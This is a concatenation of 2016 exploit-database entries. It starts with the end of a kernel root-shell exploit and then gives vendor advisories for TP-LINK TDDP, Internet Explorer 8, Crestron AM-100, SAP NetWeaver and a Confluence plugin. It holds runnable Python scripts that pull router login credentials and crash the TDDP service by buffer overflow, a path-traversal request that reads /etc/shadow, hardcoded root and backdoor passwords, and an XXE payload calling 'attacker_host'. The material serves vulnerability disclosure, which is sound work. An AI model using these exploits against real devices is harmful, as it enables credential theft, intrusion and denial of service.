    if (!exp_state->got_ring0) {
        fprintf(stdout, " [+] Failed to trigger the vulnerability.  Is this a single processor machine with CONFIG_PREEMPT_NONE=y?\n");
        return 0;
    }

    return 1;
}

int post(void)
{
//    return RUN_ROOTSHELL;
    return FUNNY_PIC_AND_ROOTSHELL;
}
            
1. Advisory Information

Title: TP-LINK TDDP Multiple Vulnerabilities
Advisory ID: CORE-2016-0007
Advisory URL: http://www.coresecurity.com/advisories/tp-link-tddp-multiple-vulnerabilities
Date published: 2016-11-21
Date of last update: 2016-11-18
Vendors contacted: TP-Link
Release mode: User release

2. Vulnerability Information

Class: Missing Authentication for Critical Function [CWE-306], Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') [CWE-120]
Impact: Code execution, Information leak
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-pending-assignment-1, CVE-pending-assignment-2

3. Vulnerability Description

TP-LINK [1] ships some of their devices with a debugging protocol activated by default. This debugging protocol is listening on the 1040 UDP port on the LAN interface.

Vulnerabilities were found in the implementation of this protocol, that could lead to remote code execution and information leak (credentials acquisition).

4. Vulnerable Devices

TP-LINK WA5210g. (Firmware v1 and v2 are vulnerable)
Other devices might be affected, but they were not tested.

5. Vendor Information, Solutions and Workarounds

No workarounds are available for this device.

6. Credits

This vulnerability was discovered and researched by Andres Lopez Luksenberg from Core Security Exploit Team. The publication of this advisory was coordinated by Joaquin Rodriguez Varela from Core Advisories Team.

7. Technical Description / Proof of Concept Code

TP-LINK distributes some of their hardware with a debugging service activate by default. This program uses a custom protocol. Vulnerabilities were found using this protocol, that could lead to remote code execution or information leak.

7.1. Missing Authentication for TDDP v1

[CVE-pending-assignment-1] If version 1 is selected when communicating with the TDDP service, there is a lack of authentication in place. Additionally if the message handler accepts the "Get configuration" message type, this will result in the program leaking the web interface configuration file, which includes the web login credentials.

The following is a proof of concept to demonstrate the vulnerability (Impacket [2] is required for the PoC to work):

 
import socket
import re
from impacket.winregistry import hexdump
from impacket.structure import Structure
import struct

class TDDP(Structure):
    structure = (
       ('version','B=0x1'),
       ('type','B=0'),      
       ('code','B=0'),
       ('replyInfo','B=0'),
       ('packetLength','>L=0'),
       ('pktID','<H=1'),
       ('subType','B=0'),
       ('reserved','B=0'),
       ('payload',':=""'),       
    )
    def printPayload(self):
        print self.getPayloadAsString()
   
    def getPayloadAsString(self):
        s=''
        for i in range(len(self['payload'])):
            s += "%.2X" % struct.unpack("B", self['payload'][i])[0]
        return s


class TDDPRequestsPacketBuilder(object):
    SET_CONFIG = 1
    GET_CONFIG = 2
    CMD_SYS0_PR = 3
    GET_SERIAL_NUMBER = 5
   
    GET_PRODUCT_ID = 10   
   
    def getRequestPacket(self):
        tddp = TDDP()
        tddp['version'] = 1
        tddp['replyInfo'] = 1       
        return tddp
   
    def getConfigPacket(self):
        tddp = self.getRequestPacket()
        tddp['type'] = self.GET_CONFIG
        tddp['payload'] = ('\x00'*0x10) + 'all'
        tddp['packetLength'] = len(tddp['payload'])
        return tddp

    def setConfigPacket(self, trail):
        tddp = self.getRequestPacket()
        tddp['type'] = self.SET_CONFIG
        tddp['payload'] = ('\x00'*0x10) + trail
        tddp['packetLength'] = len(tddp['payload'])
        return tddp
       
    def getSerialNumberPacket(self):
        tddp = self.getRequestPacket()
        tddp['type'] = self.GET_SERIAL_NUMBER
        return tddp

    def getProductIDPacket(self):
        tddp = self.getRequestPacket()
        tddp['type'] = self.GET_PRODUCT_ID
        return tddp
   
    def CMD_SYS0_PR_Packet(self, trail):
        tddp = self.getRequestPacket()
        tddp['type'] = self.CMD_SYS0_PR
        tddp['replyInfo'] = 2
        tddp['payload'] = ('\x00'*0x10)
        tddp['packetLength'] = len(tddp['payload'])
        tddp['payload'] += trail
        return tddp
       

class TPLINKConfig(object):
    def __init__(self, aConfig):
        self.__parseConfig(aConfig)
       
    def __sanitizeKeyValue(self, k, v):
        k = k.replace("\r", "")
        k = k.replace("\n", "")
       
        v = v.replace("\r", "")
        v = v.replace("\n", "")
       
        return k,v
       
    def __parseConfig(self, aConfig):
        self.__key_order = []
        self.Header = aConfig[:0x10]
        pending = aConfig[0x10:]
        k_v = re.findall("(.*?) (.*)", pending)
       
        for k, v in k_v:
            k,v = self.__sanitizeKeyValue(k,v)
            real_value = v.split(" ")
            if len(real_value) == 1:
                real_value = real_value[0]
               
            self.__dict__[k] = real_value
            self.__key_order.append(k)
           
    def __str__(self):
        cfg = []
        cfg.append(self.Header)
       
        for k in self.__key_order:
            value = self.__dict__[k]

            if not isinstance(value, basestring):
                str_value = " ".join(value)
            else:
                str_value = value
           
            line = "%s %s" % (k, str_value)
           
            cfg.append(line)
       
       
        str_cfg =  "\r\n".join(cfg)
       
        return str_cfg
       
class TDDPSessionV1(object):
    def __init__(self, ip, port=1040):
        self.ip = ip
        self.port = port
        self.req_buidler = TDDPRequestsPacketBuilder()

    def send(self, aPacket):
        self.conn = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.conn.sendto(str(aPacket), (self.ip, self.port))
        self.conn.close()
       
    def recv(self, n):
        udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        udp.bind(('', 61000))
        data, addr = udp.recvfrom(n)
        return TDDP(data)
   
    def _send_and_recv(self, packet, n):
        self.send(packet)
        return self.recv(n)
   
    #####################################
    def getConfig(self):
        c_packet = self.req_buidler.getConfigPacket()
        return TPLINKConfig(self._send_and_recv(c_packet, 50000)['payload'])
       
    def getSerialNumber(self):
        c_packet = self.req_buidler.getSerialNumberPacket()
        return self._send_and_recv(c_packet, 50000).getPayloadAsString()
       
    def getProductID(self):
        c_packet = self.req_buidler.getProductIDPacket()
        return self._send_and_recv(c_packet, 50000).getPayloadAsString()
       
    def setInitState(self):
        c_packet = self.req_buidler.CMD_SYS0_PR_Packet("init")
        return self._send_and_recv(c_packet, 50000)
       
    def save(self):
        c_packet = self.req_buidler.CMD_SYS0_PR_Packet("save")
        self._send_and_recv(c_packet, 50000)
       
    def reboot(self):
        c_packet = self.req_buidler.CMD_SYS0_PR_Packet("reboot")
        self._send_and_recv(c_packet, 50000)

    def clr_dos(self):
        c_packet = self.req_buidler.CMD_SYS0_PR_Packet("clr_dos")
        self._send_and_recv(c_packet, 50000)
       
    def setConfig(self, aConfig):
        c_packet = self.req_buidler.setConfigPacket(str(aConfig))
        self._send_and_recv(c_packet, 50000)
 
HOST = "192.168.1.254"

s = TDDPSessionV1(HOST)
config = s.getConfig()
print "user: ", config.lgn_usr
print "pass: ", config.lgn_pwd


 
7.2. Buffer Overflow in TDDP v1 protocol

[CVE-pending-assignment-2] A buffer overflow vulnerability was found when sending a handcrafted "set configuration" message to the TDDP service with an extensive configuration file and forcing version 1 in the packet.

The following is a proof of concept to demonstrate the vulnerability by crashing the TDDP service (Impacket [2] is required for the PoC to work). To reestablish the TDDP service the device must be restarted:

 
import socket
import re
import string 
from impacket.winregistry import hexdump
from impacket.structure import Structure
import struct


class TDDP(Structure):
    structure = (
       ('version','B=0x1'),
       ('type','B=0'),      
       ('code','B=0'),
       ('replyInfo','B=0'),
       ('packetLength','>L=0'),
       ('pktID','<H=1'),
       ('subType','B=0'),
       ('reserved','B=0'),
       ('payload',':=""'),   
    )
    def printPayload(self):
        print self.getPayloadAsString()
   
    def getPayloadAsString(self):
        s=''
        for i in range(len(self['payload'])):
            s += "%.2X" % struct.unpack("B", self['payload'][i])[0]
        return s
        
        
class TDDPRequestsPacketBuilder(object):
    SET_CONFIG = 1
    GET_CONFIG = 2
    CMD_SYS0_PR = 3
    GET_SERIAL_NUMBER = 5
   
    GET_PRODUCT_ID = 10   
   
    def getRequestPacket(self):
        tddp = TDDP()
        tddp['version'] = 1
        tddp['replyInfo'] = 1       
        return tddp
   
    def getConfigPacket(self):
        tddp = self.getRequestPacket()
        tddp['type'] = self.GET_CONFIG
        tddp['payload'] = ('\x00'*0x10) + 'all'
        tddp['packetLength'] = len(tddp['payload'])
        return tddp

    def setConfigPacket(self, trail):
        tddp = self.getRequestPacket()
        tddp['type'] = self.SET_CONFIG
        tddp['payload'] = ('\x00'*0x10) + trail
        tddp['packetLength'] = len(tddp['payload'])
        return tddp
       
    def getSerialNumberPacket(self):
        tddp = self.getRequestPacket()
        tddp['type'] = self.GET_SERIAL_NUMBER
        return tddp

    def getProductIDPacket(self):
        tddp = self.getRequestPacket()
        tddp['type'] = self.GET_PRODUCT_ID
        return tddp
   
    def CMD_SYS0_PR_Packet(self, trail):
        tddp = self.getRequestPacket()
        tddp['type'] = self.CMD_SYS0_PR
        tddp['replyInfo'] = 2
        tddp['payload'] = ('\x00'*0x10)
        tddp['packetLength'] = len(tddp['payload'])
        tddp['payload'] += trail
        return tddp
       
       
class TPLINKConfig(object):
    def __init__(self, aConfig):
        self.__parseConfig(aConfig)
       
    def __sanitizeKeyValue(self, k, v):
        k = k.replace("\r", "")
        k = k.replace("\n", "")
       
        v = v.replace("\r", "")
        v = v.replace("\n", "")
       
        return k,v
       
    def __parseConfig(self, aConfig):
        self.__key_order = []
        self.Header = aConfig[:0x10]
        pending = aConfig[0x10:]
        k_v = re.findall("(.*?) (.*)", pending)
       
        for k, v in k_v:
            k,v = self.__sanitizeKeyValue(k,v)
            real_value = v.split(" ")
            if len(real_value) == 1:
                real_value = real_value[0]
               
            self.__dict__[k] = real_value
            self.__key_order.append(k)
           
    def __str__(self):
        cfg = []
        cfg.append(self.Header)
       
        for k in self.__key_order:
            value = self.__dict__[k]

            if not isinstance(value, basestring):
                str_value = " ".join(value)
            else:
                str_value = value
           
            line = "%s %s" % (k, str_value)
           
            cfg.append(line)
       
       
        str_cfg =  "\r\n".join(cfg)
       
        return str_cfg
        
        
class TDDPSessionV1(object):
    def __init__(self, ip, port=1040):
        self.ip = ip
        self.port = port
        self.req_buidler = TDDPRequestsPacketBuilder()

    def send(self, aPacket):
        self.conn = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.conn.sendto(str(aPacket), (self.ip, self.port))
        self.conn.close()
        
    def recv(self, n):
        udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        udp.bind(('', 61000))
        data, addr = udp.recvfrom(n)
        return TDDP(data)
    
    def _send_and_recv(self, packet, n):
        self.send(packet)
        return self.recv(n)
    
    #####################################
    def getConfig(self):
        c_packet = self.req_buidler.getConfigPacket()
        return TPLINKConfig(self._send_and_recv(c_packet, 50000)['payload'])
        
    def getSerialNumber(self):
        c_packet = self.req_buidler.getSerialNumberPacket()
        return self._send_and_recv(c_packet, 50000).getPayloadAsString()
        
    def getProductID(self):
        c_packet = self.req_buidler.getProductIDPacket()
        return self._send_and_recv(c_packet, 50000).getPayloadAsString()
        
    def setInitState(self):
        c_packet = self.req_buidler.CMD_SYS0_PR_Packet("init")
        return self._send_and_recv(c_packet, 50000)
        
    def save(self):
        c_packet = self.req_buidler.CMD_SYS0_PR_Packet("save")
        self._send_and_recv(c_packet, 50000)
        
    def reboot(self):
        c_packet = self.req_buidler.CMD_SYS0_PR_Packet("reboot")
        self._send_and_recv(c_packet, 50000)

    def clr_dos(self):
        c_packet = self.req_buidler.CMD_SYS0_PR_Packet("clr_dos")
        self._send_and_recv(c_packet, 50000)
        
    def setConfig(self, aConfig):
        c_packet = self.req_buidler.setConfigPacket(str(aConfig))
        self._send_and_recv(c_packet, 50000)
        
        
class Exploit(TDDPSessionV1):
    def run(self):
        c_packet = self.req_buidler.getRequestPacket()
        c_packet['type'] = self.req_buidler.SET_CONFIG        
        c_packet['payload'] = "A"*325
        c_packet['packetLength'] = 0x0264           
        return self.send(c_packet)

HOST = "192.168.1.254"
PORT = 1040		
s = Exploit(HOST)
s.run()
	  
 
8. Report Timeline

2016-10-04: Core Security sent an initial notification to TP-Link.
2016-10-07: Core Security sent a second notification to TP-Link.
2016-10-31: Core Security sent a third notification to TP-Link through Twitter.
2016-11-09: Core Security sent a fourth notification to TP-Link through email and Twitter without receiving any response whatsoever.
2016-11-10: Core Security sent a request to Mitre for two CVE ID's for this advisory.
2016-11-12: Mitre replied that the vulnerabilities didn't affected products that were in the scope for CVE.
2016-11-21: Advisory CORE-2016-0007 published.
9. References

[1] http://www.tplink.com/. 
[2] https://www.coresecurity.com/corelabs-research/open-source-tools/impacket. 

10. About CoreLabs

CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.

11. About Core Security

Courion and Core Security have rebranded the combined company, changing its name to Core Security, to reflect the company's strong commitment to providing enterprises with market-leading, threat-aware, identity, access and vulnerability management solutions that enable actionable intelligence and context needed to manage security risks across the enterprise. Core Security's analytics-driven approach to security enables customers to manage access and identify vulnerabilities, in order to minimize risks and maintain continuous compliance. Solutions include Multi-Factor Authentication, Provisioning, Identity Governance and Administration (IGA), Identity and Access Intelligence (IAI), and Vulnerability Management (VM). The combination of these solutions provides context and shared intelligence through analytics, giving customers a more comprehensive view of their security posture so they can make more informed, prioritized, and better security remediation decisions.

Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com.

12. Disclaimer

The contents of this advisory are copyright (c) 2016 Core Security and (c) 2016 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
            
<!--
Source: http://blog.skylined.nl/20161121001.html

Synopsis

A specially crafted web-page can cause an unknown type of memory corruption in Microsoft Internet Explorer 8. This vulnerability can cause the Ptls5::Ls­Find­Span­Visual­Boundaries method (or other methods called by it) to access arbitrary memory.

Known affected software, attack vectors and mitigations

Microsoft Internet Explorer 8

An attacker would need to get a target user to open a specially crafted web-page. Java­Script is not necessarily required to trigger the issue.

Description

The memory corruption causes the Ptls5::Ls­Find­Span­Visual­Boundaries method to access data at seemingly random addresses. However, these addresses appear to always be in the same range as valid heap addresses, even if they are often not DWORD aligned. The reason for the memory corruption is not immediately obvious.

Repro.html
-->

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
  <body>
    <button>
      <pre>
        <x>
          <sub>
            <ruby>
              <img height="1"/>
            </ruby>
          </sub>
        </x>
      </pre>
    </button>
  </body>
</html>

<!--
Time-line

July 2014: This vulnerability was found through fuzzing.
November 2016: Details of this issue are released.
-->
            
=================================================================
# Crestron AM-100 (Multiple Vulnerabilities)
=================================================================
# Date: 2016-08-01
# Exploit Author: Zach Lanier
# Vendor Homepage: https://www.crestron.com/products/model/am-100
# Version: v1.1.1.11 - v1.2.1
# CVE: CVE-2016-5639 
# References: 
#   https://medium.com/@benichmt1/an-unwanted-wireless-guest-9433383b1673#.78tu9divi
#   https://github.com/CylanceVulnResearch/disclosures/blob/master/CLVA-2016-05-001.md

Description:
The Crestron AirMedia AM-100 with firmware versions v1.1.1.11 - v1.2.1 is vulnerable to multiple issues.

1) Path Traversal

GET request: 
http://[AM-100-ADDRESS]/cgi-bin/login.cgi?lang=en&src=../../../../../../../../../../../../../../../../../../../../etc/shadow

2) Hidden Management Console

http://[AM-100-ADDRESS]/cgi-bin/login_rdtool.cgi
The AM-100 has a hardcoded default credential of rdtool::mistral5885
This interface contains the ability to upload arbitrary files (RD upload) and can enable a telnet server that runs on port 5885 (RD Debug mode).

3) Hardcoded credentials

The default root password for these devices is root::awind5885
Valid login sessions for the default (non-debugging) management interface are stored on the filesystem as session01, session02.. etc. Cleartext credentials can be read directly from these files.
            
Application:	SAP NetWeaver AS JAVA
Versions Affected:	SAP NetWeaver AS JAVA 7.5
Vendor URL:	SAP
Bugs:	XXE
Reported:	09.03.2016
Vendor response:	10.03.2016
Date of Public Advisory:	09.08.2016
Reference:	SAP Security Note 2296909
Author:	Vahagn Vardanyan (ERPScan)

1. ADVISORY INFORMATION

Title:  [ERPSCAN-16-034] SAP NetWeaver AS JAVA – XXE vulnerability in BC-BMT-BPM-DSK component
Advisory ID:[ERPSCAN-16-034]
Risk: high
Advisory URL: https://erpscan.com/advisories/erpscan-16-034-sap-netweaver-java-xxe-vulnerability-bc-bmt-bpm-dsk-component/
Date published: 11.11.2016
Vendors contacted: SAP


2. VULNERABILITY INFORMATION

Class: XXE
Impact: Denial of Service, Read File
Remotely Exploitable: yes
Locally Exploitable: no

CVSS Information

CVSS Base Score v3:    6.4 / 10
CVSS Base Vector:
AV : Attack Vector (Related exploit range) Network (N)
AC : Attack Complexity (Required attack complexity) High (H)
PR : Privileges Required (Level of privileges needed to exploit) Low (L)
UI : User Interaction (Required user participation) None (N)
S : Scope (Change in scope due to impact caused to components beyond the vulnerable component) Unchanged (U)
C : Impact to Confidentiality Low (L)
I : Impact to Integrity Low (L)
A : Impact to Availability High (H)


3. VULNERABILITY DESCRIPTION

1) It is possible, that an attacker can perform a DoS attack (for example, an XML Entity expansion attack)

2) An SMB Relay attack is a type of man-in-the-middle attack where an attacker asks a victim to authenticate to a machine controlled by the
attacker, then relays the credentials to the target. The attacker forwards the authentication information both ways, giving him access.


4. VULNERABLE PACKAGES

BPEM PORTAL CONTENT 7.20
BPEM PORTAL CONTENT 7.30
BPEM PORTAL CONTENT 7.31
BPEM PORTAL CONTENT 7.40
BPEM PORTAL CONTENT 7.50


5. SOLUTIONS AND WORKAROUNDS

To correct this vulnerability, install SAP Security Note  2296909


6. AUTHOR

 Vahagn Vardanyan (ERPScan)


7. TECHNICAL DESCRIPTION

PoC


POST /sap.com~tc~bpem~him~uwlconn~provider~web/bpemuwlconn HTTP/1.1

Content-Type: text/xml

User-Agent: ERPscan

Host: SAP_IP:SAP_PORT

Content-Length: 480

Connection: Keep-Alive

Cache-Control: no-cache

Authorization: Basic ZXJwc2NhbjplcnBzY2Fu


<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker_host">
]><SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">

   <SOAP-ENV:Body>

       <m:isBPMSInUse xmlns:m="http://api.facade.bpem.sap.com/"/>

   &xxe;</SOAP-ENV:Body>

</SOAP-ENV:Envelope>


8. REPORT TIMELINE

Sent:  09.03.2016
Reported: 10.03.2016
Vendor response: 10.03.2016
Date of Public Advisory: 09.08.2016


9. REFERENCES

https://erpscan.com/advisories/erpscan-16-034-sap-netweaver-java-xxe-vulnerability-bc-bmt-bpm-dsk-component/
            
[RCESEC-2016-009] AppFusions Doxygen for Atlassian Confluence v1.3.2 renderContent() Persistent Cross-Site Scripting

RCE Security Advisory
https://www.rcesecurity.com


1. ADVISORY INFORMATION
=======================
Product:        AppFusions Doxygen for Atlassian Confluence
Vendor URL:     www.appfusions.com
Type:           Cross-site Scripting [CWE-79]
Date found:     29/06/2016
Date published: 20/11/2016
CVSSv3 Score:   6.4 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)
CVE:            -


2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.


3. VERSIONS AFFECTED
====================
AppFusions Doxygen for Atlassian Confluence v1.3.3
AppFusions Doxygen for Atlassian Confluence v1.3.2 
AppFusions Doxygen for Atlassian Confluence v1.3.1
AppFusions Doxygen for Atlassian Confluence v1.3.0
older versions may be affected too.


4. INTRODUCTION
===============
With Doxygen in Confluence, you can embed full-structure code documentation:
-Doxygen blueprint in Confluence to allow Doxygen archive imports
-Display documentation from annotated sources such as Java (i.e., JavaDoc), 
 C++, Objective-C, C#, C, PHP, Python, IDL (Corba, Microsoft, and UNO/OpenOffice 
 flavors), Fortran, VHDL, Tcl, D in Confluence.
-Navigation supports code structure (classes, hierarchies, files), element 
 dependencies, inheritance and collaboration diagrams.
-Search documentation from within Confluence
-Restrict access to who can see/add what
-Doxygen in JIRA also available

(from the vendor's homepage)


5. VULNERABILITY DETAILS
========================
The application offers the functionality to import Doxygen documentations via a file upload to make them available in a Confluence page, but does not properly validate the file format/the contents of the uploaded Doxygen file. Since the uploaded file is basically a zipped archive, it is possible to store any type of file in it like an HTML file containing arbitrary script.

In DoxygenFileServlet.java (lines 82-105) the "file" GET parameter is read
and used as part of a File object:

private void renderContent(HttpServletRequest request, HttpServletResponse response) throws IOException {
    String pathInfo = request.getPathInfo();
    String[] pathInfoParts = pathInfo.split("file/");
    String requestedFile = pathInfoParts[1];
    File homeDirectory = this.applicationProperties.getHomeDirectory();
    String doxygenDir = homeDirectory.getAbsolutePath() + File.separator + "doxygen";
    File file = new File(doxygenDir, requestedFile);
    String contentType = this.getServletContext().getMimeType(file.getName());
    if (contentType == null) {
        contentType = "application/octet-stream";
    }
    response.setContentType(contentType);
    FileInputStream inputStream = null;
    ServletOutputStream outputStream = null;
    try {
        inputStream = new FileInputStream(file);
        outputStream = response.getOutputStream();
        IOUtils.copy((InputStream)inputStream, (OutputStream)outputStream);
    }
    finally {
        IOUtils.closeQuietly((InputStream)inputStream);
        IOUtils.closeQuietly((OutputStream)outputStream);
    }
}



6. RISK
=======
To successfully exploit this vulnerability, the attacker must be authenticated and must have the rights within Atlassian Confluence to upload
Doxygen files (default).

The vulnerability allows remote attackers to permanently embed arbitrary script code into the context of an Atlassian Confluence page, which offers a wide range of possible attacks such as redirecting users to arbitrary pages, present phishing content or attacking the browser and its components of a user visiting the page.

7. POC
===========

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40817.zip

8. SOLUTION
===========
Update to AppFusions Doxygen for Atlassian Confluence v1.3.4


9. REPORT TIMELINE (DD/MM/YYYY)
===============================
23/08/2016: Discovery of the vulnerability
23/08/2016: Sent preliminary advisory incl. PoC to known mail address
30/08/2016: No response, sent out another notification
30/08/2016: Vendor response, team is working on it
20/10/2016: Vendor releases v1.3.4 which fixes this vulnerability
20/11/2016: Advisory released


9. REFERENCES
=============
https://bugs.rcesecurity.com/redmine/issues/13